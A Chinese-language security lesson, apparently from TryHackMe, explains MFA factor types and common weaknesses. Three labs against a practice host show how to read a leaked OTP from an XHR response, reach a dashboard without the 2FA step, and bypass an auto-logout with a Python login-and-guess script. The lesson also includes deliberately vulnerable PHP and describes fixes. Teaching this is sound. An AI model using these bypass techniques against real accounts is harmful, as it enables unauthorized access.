Introduction

多因素身份验证 (MFA) 在现代应用程序中发挥着重要作用。MFA 不再仅仅依赖于密码,而是增加了额外的防御层。本质上,MFA 是多种检查的组合。这些检查可能是您已知的信息(例如密码)、您拥有的信息(例如智能手机)以及您自身的信息(例如指纹)。通过使用这些层级,MFA 使威胁行为者更难以访问用户帐户或应用程序。

目标

在本课程结束时,您将:

  • 了解 MFA 的运行原理及其在增强应用程序安全态势方面的重要性。
  • 探索 MFA 设置中使用的不同类型的身份验证因素。
  • 深入了解实施 MFA 以保护敏感数据和系统的实际场景。

先决条件

在开始本课程之前,您应该对以下概念有基本的了解:

  • 熟悉身份验证机制的一般概念,包括密码和简单身份验证流程的工作原理。
  • 熟练掌握 Linux 命令行的基本操作和使用技能。
  • 完成 枚举与暴力破解 房间测试。

How MFA Works

在当今的数字时代,保护敏感数据和系统的安全比以往任何时候都更加重要。多重身份验证 (MFA) 要求您提供两个或更多验证因素,从而为用户帐户提供额外保护。这使得攻击者访问用户帐户的难度显著增加。

需要注意的是,2FA(双因素身份验证)是 MFA(多重身份验证)的一个子集。MFA 是指任何需要两个或更多因素来验证用户身份的身份验证过程。

身份验证因素的类型

MFA 通常结合两种或多种不同类型的凭证,这些凭证来自以下类别:您知道的信息、您拥有的信息、您是谁、您在某个地方以及您做的事情。

img

您知道的信息

这可能是密码、PIN 码或任何其他您必须记住的信息。它构成了大多数身份验证系统的基础,但如果不与其他因素同时使用,则可能存在漏洞。

您拥有的信息

这可能是您安装了身份验证应用程序的手机、安全令牌,甚至是智能卡。最近,我们看到客户端证书的使用越来越多,它们就像设备的数字身份证一样。

您身份的信息

这涉及生物识别技术,例如指纹、面部识别或虹膜扫描。这种身份验证方式越来越受欢迎,因为它很难伪造,现在在我们的许多设备中都能找到,从手机到笔记本电脑。需要注意的是,指纹和面部扫描都无法完全匹配。因此,这应该始终作为补充,切勿单独使用。

您身在何处

这涉及您的原始 IP 地址或地理位置。某些应用程序(例如在线银行服务)如果检测到您从未知 IP 地址发出请求,就会限制某些活动。

您的操作

这种身份验证通常用于限制机器人交互的应用程序,例如注册页面。应用程序通常会分析用户输入凭据或移动鼠标的方式,这也是最难实现的,因为应用程序需要特定的处理能力。

双重身份验证 (2FA) 明确要求其中两个因素。因此,虽然所有双重身份验证 (2FA) 都是多重身份验证 (MFA),但并非所有多重身份验证 (MFA) 都是双重身份验证 (2FA)。例如,需要密码、指纹扫描和智能卡的身份验证系统将被视为多重身份验证 (MFA),但不被视为双重身份验证 (2FA)。

双重身份验证 (2FA) 的种类

双重身份验证 (2FA) 可以利用各种机制来确保每个身份验证因素都提供强大的安全层。一些最常用的方法包括:

基于时间的一次性密码 (TOTP)

这些是每 30 秒左右更改一次的临时密码。 Google Authenticator、Microsoft Authenticator 和 Authy 等应用都使用它们,这使得黑客很难拦截或重复使用它们。

推送通知

Duo 或 Google Prompt 等应用会直接向您的手机发送登录请求。您可以直接从设备批准或拒绝访问,从而增加了一层安全保障,以验证用户是否拥有注册该帐户的设备。

一次涉及推送通知的攻击,即 MFA 疲劳攻击,使攻击者能够入侵 Uber 员工的公司帐户。此次攻击的细节不在本讨论范围之内,但如需了解更多详情,您可以访问 Uber 的官方安全新闻室,网址为此处

短信

目前大多数应用都使用这种方法。系统会向用户注册的电话号码发送一条包含一次性验证码的短信。用户必须输入此验证码才能继续登录。基于短信的身份验证虽然方便,但由于存在拦截短信的漏洞,安全性较低。

硬件令牌

像 YubiKey 这样的设备可以生成一次性密码或使用 NFC 进行身份验证。它们的优点在于无需网络或电池,即使在离线状态下也能工作。

条件访问

公司通常使用条件访问来根据不同情况调整身份验证要求。它就像一棵决策树,根据特定条件触发额外的安全检查。例如:

基于位置

如果用户从其常用位置(例如办公室)登录,他们可能只需要提供常规登录凭据。但如果他们从新的或不熟悉的位置登录,系统可能会要求额外的 OTP 甚至生物识别验证。

基于时间

在正常工作时间内,用户可能只需使用常规登录凭据即可登录。但是,如果有人试图在下班后访问系统,系统可能会提示他们输入额外的安全措施,例如一次性密码 (OTP) 或安全令牌。

行为分析

假设用户的行为突然发生变化,例如开始访问通常不查看的数据,或者在非正常时间访问。在这种情况下,系统可以要求进行额外的身份验证,以确认用户的身份。

设备特定

在某些情况下,公司不允许员工使用自己的设备访问公司资源。在这种情况下,如果用户使用的是未经批准的设备,系统可能会在初始登录步骤后阻止用户。

全球采用和监管推动

由于 MFA 能够有效防御许多常见的安全威胁,包括网络钓鱼、社会工程和基于密码的攻击,因此其在各个领域的应用正在迅速扩展。世界各国政府和各行各业都认识到 MFA 的重要性,并开始通过各种监管框架强制使用 MFA。例如,金融和医疗保健行业实施严格的 MFA 要求,以遵守欧洲的《通用数据保护条例》(GDPR)、美国的《健康保险流通与责任法》(HIPAA) 以及全球支付系统的 PCI-DSS 等法规。

如果实施了 MFA,许多违规行为,例如 2017 年的 Equifax 数据泄露事件和 2013 年的 Target 数据泄露事件,都可以被避免。

Implementations and Applications

多重身份验证 (MFA) 现已成为保护我们线上线下活动免受威胁者攻击的重要因素。从银行、医疗保健到企业 IT,这些行业都严重依赖 MFA 来保护数据免受攻击者的攻击。

银行业中的 MFA

银行每天都处理极其敏感的信息和交易。通过使用 MFA,银行可以保护用户的个人和财务信息免受网络盗窃、欺诈和其他在线威胁的侵害。

通常,银行会要求您输入密码(您知道的密码),然后再进行第二层安全保护,第二层安全保护是通过短信发送或由您手机上的应用程序生成的代码(您拥有的密码)。这样,即使有人获得了您的密码,他们仍然需要这些额外的信息才能访问您的帐户或完成交易。

医疗保健中的多重身份验证 (MFA)

在医疗保健领域,根据美国《健康保险流通与责任法案》(HIPAA) 等法规,多重身份验证 (MFA) 确保只有授权人员才能访问患者记录和个人健康信息。

例如,为了访问电子健康记录 (EHR) 等敏感系统,医疗保健提供商可能会要求医生使用安全徽章(他们拥有的)和指纹扫描(他们本身拥有的)。这确保只有拥有正确凭证的人员才能查看或更改患者数据。

企业 IT 中的多重身份验证 (MFA)

随着网络攻击和数据泄露事件的不断增加,企业 IT 部门面临着保护敏感业务数据和维护系统完整性的巨大压力。多重身份验证 (MFA) 有助于降低未经授权访问的风险,从而避免数据盗窃、间谍活动或破坏。

在企业环境中,MFA 通常用于访问公司网络、数据库和云服务。员工可以先使用公司凭证(他们知道的东西)登录,然后通过公司发放的手机上发送的代码(他们拥有的东西)或通过生物特征验证(他们本身的东西)来验证身份。这样,即使有人试图攻击他们的系统,他们也会在没有第二个因素的情况下遇到障碍。

Common Vulnerabilities in MFA

弱 OTP 生成算法

一次性密码 (OTP) 的安全性取决于其生成算法。如果算法弱或过于容易预测,攻击者很容易就能猜测到 OTP。如果算法不使用真正的随机种子,生成的 OTP 可能会遵循某种模式,使其更容易被预测。

应用程序泄露双重身份验证令牌

如果应用程序数据处理不当或存在漏洞(例如不安全的 API 端点),则可能会在应用程序的 HTTP 响应中意外泄露双重身份验证令牌。

由于编码不安全,某些应用程序也可能会在响应中泄露双重身份验证令牌。一种常见的情况是,当用户登录后到达双重身份验证页面时,应用程序会向发出 OTP 的端点触发 XHR 请求。有时,此 XHR 请求会在 HTTP 响应中将 OTP 返回给用户。

暴力破解一次性密码 (OTP)

尽管 OTP 的设计初衷是一次性使用,但它们并非完全不受暴力破解攻击的影响。如果攻击者可以进行无限次猜测,他们最终可能会得到正确的 OTP,尤其是在 OTP 没有受到其他安全措施良好保护的情况下。这就像试图通过反复旋转拨盘直到保险箱发出咔嗒声来破解保险箱一样,如果有足够的时间且没有任何限制,这种方法或许就能奏效。

缺乏速率限制

如果没有适当的速率限制,应用程序很容易让攻击者轻易地尝试不同的 OTP。如果攻击者能够在短时间内提交多次猜测,则会增加其获得正确 OTP 的可能性。

例如,在 HackerOne 的这份报告 (https://hackerone.com/reports/121696) 中,测试人员能够报告一个有效的漏洞,因为该应用程序在检查双重身份验证 (2FA) 代码时没有使用速率限制。

Evilginx 的使用

Evilginx 是一款常用于红队攻击的工具。它可以用于执行复杂的网络钓鱼攻击,有效绕过多因素身份验证 (MFA)。它充当中间人代理,可以拦截并重定向原本发送给合法用户的 OTP。

img

Evilginx 的工作原理是,当攻击者向您发送网络钓鱼链接,并且您在看似合法的登录页面上输入您的凭据时,Evilginx 会捕获您的用户名、密码和 OTP,然后将它们转发到真实网站,让攻击者使用您的 cookie 进行访问,而无需破解您的 MFA。

Practical - OTP Leakage

OTP 泄漏

XHR(XMLHttpRequest)响应中的 OTP 泄漏通常是由于 2FA(双因素身份验证)机制实现不当或编码不安全造成的。一些常见原因包括:

服务器端验证和敏感数据返回

在一些设计不良的应用程序中,服务器会验证 OTP,并且不仅仅是确认成功或失败,而是在响应中返回 OTP 本身。这通常是无意为之,例如在调试、日志记录或响应处理不当的过程中。

缺乏适当的安全实践

开发人员可能会忽视在 API 响应中暴露 OTP 等敏感信息的安全隐患。这种情况通常发生在开发人员专注于使应用程序正常运行而没有考虑攻击者如何利用这些响应时。

并非所有开发人员都充分了解安全编码实践。他们可能会在没有充分了解在 XHR 响应中暴露敏感信息的潜在风险的情况下实现 2FA 等功能。

生产环境中残留的调试信息

在开发或测试阶段,开发人员可能会在响应中包含详细的调试信息,以帮助诊断问题。如果在部署到生产环境之前未删除这些调试响应,则 OTP 等敏感信息可能会被泄露。

漏洞利用

访问 http://mfa.thm/labs/first。

img

使用以下凭据登录应用程序。

Username Password
thm@mail.thm test123

注意:打开浏览器的开发者工具(通常按 F12 键),然后在点击登录按钮之前先导航到“网络”选项卡。此选项卡允许您查看应用程序发出的所有网络请求,包括 XHR 请求。

img

进入 MFA 页面后,您将看到由应用程序触发的 XHR 请求,该请求已发送到 /token 端点。

img

正如您在上面提交到 /token 端点的 XHR 请求中所看到的,应用程序返回了一个大小为 16 字节的响应。单击此请求并导航到“响应”选项卡,如下所示。

img

复制令牌参数的值并将其粘贴到 OTP 表单中,然后单击验证帐户。

img

img

为了解决这个问题,应用程序不应在响应中返回生成的 2FA 或 OTP。建议不要返回 OTP,而是返回“成功”之类的通用消息。

Practical - Insecure Coding

逻辑缺陷还是不安全的编码?

在某些应用程序中,逻辑缺陷或不安全的编码实践可能导致应用程序的关键部分(例如仪表板)在未完全完成身份验证过程的情况下被访问。具体来说,攻击者可能能够完全绕过双重身份验证 (2FA) 机制,无需输入 OTP(一次性密码)即可访问仪表板或其他敏感区域。这通常是由于会话管理不当、访问控制检查不完善或逻辑实现错误导致未能强制执行双重身份验证 (2FA) 要求造成的。

漏洞利用

访问 http://mfa.thm/labs/second/ 并使用以下凭据登录应用程序。

Username Password
thm@mail.thm test123

img

通常,攻击者首先需要了解应用程序的登录和双重身份验证 (2FA) 流程。在这种情况下,用户输入用户名和密码后,系统会提示用户输入一次性密码 (OTP) 以访问仪表板。

img

攻击者可能会尝试操纵 URL 或完全绕过 OTP 步骤,而不是输入 OTP。例如,攻击者可能会尝试直接访问仪表板 URL(例如 http://mfa.thm/labs/second/dashboard),而无需完成所需的身份验证步骤。

如果应用程序未正确检查会话状态或强制执行双重身份验证 (2FA),或者应用程序的逻辑存在缺陷,攻击者可能会获得仪表板的访问权限。

img

深入代码

以下代码是 /mfa 页面中使用的部分代码。如您所见,**$_SESSION[‘authenticated’]** 是在 2FA 流程完成后发出的。

# Function that verifies the submitted 2FA token
function verify_2fa_code($code) {
if (!isset($_SESSION['token']))
return false;

return $code === $_SESSION['token'];
}

# Function called in the /mfa page
if (verify_2fa_code($_POST['code'])) { #If successful, the user will be redirected to the dashboard.
$_SESSION['authenticated'] = true; # Session that is used to check if the user completed the 2FA
header('Location: ' . ROOT_DIR . '/dashboard');
return;
}

考虑到上述实现是安全的,在认证的第一步之后悬空签发**$_SESSION[‘authenticated’]**的一些实例将绕过上述代码,如下所示。

function authenticate($email, $password){
$pdo = get_db_connection();
$stmt = $pdo->prepare("SELECT `password` FROM users WHERE email = :email");
$stmt->execute(['email' => $email]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

return $user && password_verify($password, $user['password']);
}

if (authenticate($email, $password)) {
$_SESSION['authenticated'] = true; # This flag should only be issued after the MFA completion
$_SESSION['email'] = $_POST['email'];
header('Location: ' . ROOT_DIR . '/mfa');
return;
}

由于应用程序的仪表盘仅检查 $_SESSION[‘authenticated’] 的值,无论其为真还是假,攻击者都可以轻松绕过双重身份验证 (2FA) 页面,因为攻击者事先了解应用程序的端点。

为了修复此漏洞,身份验证检查中使用的 Cookie 或会话应分为两部分。第一部分是在用户名和密码验证成功后设置会话的部分;此会话的唯一目的是提交双重身份验证 (2FA) 令牌。第二部分应仅在一次性密码 (OTP) 验证后设置。

Practical - Beating the Auto-Logout Feature

在某些应用程序中,双重身份验证 (2FA) 验证失败会导致应用程序将用户恢复到身份验证过程的第一部分(即使用用户名和密码的初始登录)。此行为通常是由于应用程序的安全机制旨在防止针对双重身份验证 (2FA) 部分进行暴力破解攻击。应用程序可能会强制用户重新进行身份验证,以确保尝试登录的用户确实是合法用户,而不是试图猜测一次性密码 (OTP) 的攻击者。

导致此行为的常见原因

会话失效

双重身份验证 (2FA) 验证失败后,应用程序可能会出于安全措施使用户会话失效,从而强制用户从头开始身份验证过程。

限速和锁定策略

为了防止攻击者反复尝试绕过双重身份验证 (2FA),应用程序可能设置了限速或锁定机制,这些机制会在一定次数的失败尝试后触发,将用户恢复到初始登录步骤。

安全驱动的重定向

某些应用程序设计为在多次双重身份验证失败后将用户重定向回登录页面,作为一项额外的安全措施,确保在允许再次进行双重身份验证尝试之前,用户的凭据经过重新验证。

自动化是关键

自动化使攻击此类保护措施变得更容易,因为:

速度

每次退出后手动重新登录既缓慢又繁琐。自动化可以更快地为您完成这项工作。

一致性

自动化可以避免您反复执行相同操作时可能出现的错误。它非常可靠。

从退出状态恢复

如果应用程序在几次尝试失败后将您退出,脚本可以自动重新登录并继续尝试。这省去了您每次手动操作的麻烦。

自定义

手动创建自动化攻击脚本比使用 ZAP 或 Burp Suite 等单一工具更灵活。您可以自定义脚本以测试特定场景,例如使用不同的 IP 地址或用户代理,或调整请求间隔。

漏洞利用

托管在 http://mfa.thm/labs/third 的应用程序会在用户未通过双重身份验证 (2FA) 时自动注销用户。为了演示,该应用程序还会在用户每次登录时生成一个 4 位 PIN 码。

注意:在实际应用中,PIN 码通常在 0000 到 9999 之间。我们将其设置为较低的值只是为了节省暴力破解的时间。

function generateToken()
{
$token = strval(rand(1250, 1350));

$_SESSION['token'] = $token;
return 'success';
}

使用下面的 Python 脚本,将脚本保存为 exploit.py 并在终端中运行它。

import requests

# Define the URLs for the login, 2FA process, and dashboard
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'

# Define login credentials
credentials = {
'email': 'thm@mail.thm',
'password': 'test123'
}

# Define the headers to mimic a real browser
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://mfa.thm',
'Connection': 'close',
'Referer': 'http://mfa.thm/labs/third/mfa',
'Upgrade-Insecure-Requests': '1'
}

# Function to check if the response contains the login page
def is_login_successful(response):
return "User Verification" in response.text and response.status_code == 200

# Function to handle the login process
def login(session):
response = session.post(login_url, data=credentials, headers=headers)
return response

# Function to handle the 2FA process
def submit_otp(session, otp):
# Split the OTP into individual digits
otp_data = {
'code-1': otp[0],
'code-2': otp[1],
'code-3': otp[2],
'code-4': otp[3]
}

response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False) # Disable auto redirects
print(f"DEBUG: OTP submission response status code: {response.status_code}")

return response

# Function to check if the response contains the login page
def is_login_page(response):
return "Sign in to your account" in response.text or "Login" in response.text

# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
otp_str = '1337' # Hardcoded OTP

while True: # Keep trying until success
session = requests.Session() # Create a new session object for each attempt
login_response = login(session) # Log in before each OTP attempt

if is_login_successful(login_response):
print("Logged in successfully.")
else:
print("Failed to log in.")
continue

print(f"Trying OTP: {otp_str}")

response = submit_otp(session, otp_str)

# Check if the response is the login page (unsuccessful OTP)
if is_login_page(response):
print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
continue # Retry login and OTP submission

# Check if the response is a redirect (status code 302)
if response.status_code == 302:
location_header = response.headers.get('Location', '')
print(f"Session cookies: {session.cookies.get_dict()}")

# Check if it successfully bypassed 2FA and landed on the dashboard
if location_header == '/labs/third/dashboard':
print(f"Successfully bypassed 2FA with OTP: {otp_str}")
return session.cookies.get_dict() # Return session cookies after successful bypass
elif location_header == '/labs/third/':
print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
else:
print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
else:
print(f"Received status code {response.status_code}. Retrying...")

# Start the attack to try until success
try_until_success()
脚本设置

URL:

login_url:用户输入邮箱和密码的登录页面 URL。
otp_url:用户提交 4 位 OTP 进行验证的 URL。
dashboard_url:用户身份验证成功后重定向到的仪表盘 URL。
Credentials:

credentials 字典包含用于登录的邮箱和密码。
Headers:

Headers 字典包含模拟真实浏览器请求的 HTTP 标头,包括 User-Agent、Referer、Content-Type 等。
函数

is_login_successful(response):

通过在响应文本中查找短语“用户验证”并确保状态码为 200 OK 来检查登录是否成功。
login(session):

通过向 login_url 发送包含用户凭证的 POST 请求来执行登录。它会返回服务器的响应。
submit_otp(session, otp):

通过 POST 请求将 4 位 OTP 发送至 otp_url。OTP 会被拆分成多个数字,并作为单独的参数(code-1、code-2 等)发送。该函数返回服务器的响应。
is_login_page(response):

通过在响应文本中查找“登录您的账户”或“登录”等关键字,检查响应是否包含登录页面。
暴力破解过程

OTP 范围:

脚本循环执行,直到应用程序返回与脚本中设置的 OTP 相同的 OTP。
会话创建:

每次 OTP 尝试,都会使用 request.Session() 创建一个新会话,确保每次登录和 OTP 提交尝试都会创建一个新的会话。
登录尝试:

脚本尝试使用提供的凭据登录。如果登录成功,则会打印“已成功登录”并继续提交 OTP。如果登录失败,脚本将跳至下一次 OTP 尝试。
OTP 提交:

脚本将 OTP 格式化为 4 位字符串,并将其发送至 otp_url。
响应处理:

如果服务器响应包含登录页面(表示 OTP 尝试失败),脚本将打印错误消息并继续执行下一次 OTP。
如果响应包含 302 Found 状态码(表示重定向),脚本将检查 Location 标头:
如果重定向到 /labs/third/dashboard,则表示 OTP 绕过成功,脚本将打印成功消息并退出。
如果重定向到 /labs/third/(登录页面),则表示 OTP 失败,脚本将打印错误消息。
任何其他重定向位置都会被标记为意外,并打印错误消息。
如果响应包含任何其他状态码,脚本将打印该状态码并重试下一次 OTP。

一旦脚本成功破解正确的安全代码,即可登录应用程序。

exploit.py

user@tryhackme$ $ python3 exploit.py
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Unsuccessful OTP attempt, redirected to login page. OTP: 1337
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Unsuccessful OTP attempt, redirected to login page. OTP: 1337
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Session cookies: {'PHPSESSID': '57burqsvce3odaif2oqtptbl13'}

使用新的 PHPSESSID,转到 http://mfa.thm/labs/third,打开浏览器的开发人员工具,然后导航到存储 > Cookies。

img

将 PHPSESSID 值替换为您终端上的 PHPSESSID。

img

完成后,转到http://mfa.thm/labs/third/dashboard。

img

Conclusion

在本专题中,我们介绍了多因素身份验证 (MFA) 和双因素身份验证 (2FA) 的基本知识,让您深入了解这些安全措施如何增强系统抵御未经授权访问的能力。

关键要点

  • 了解 MFA:MFA 通过要求多种形式的验证来增加安全层级,从而显著降低未经授权访问的风险。
  • 解决漏洞:诸如 OTP 算法薄弱和缺乏速率限制等常见问题可能会破坏安全性,因此需要强有力的实施实践。
  • 最佳实践:安全的 OTP 生成、速率限制和用户教育对于维护有效的 MFA 系统至关重要。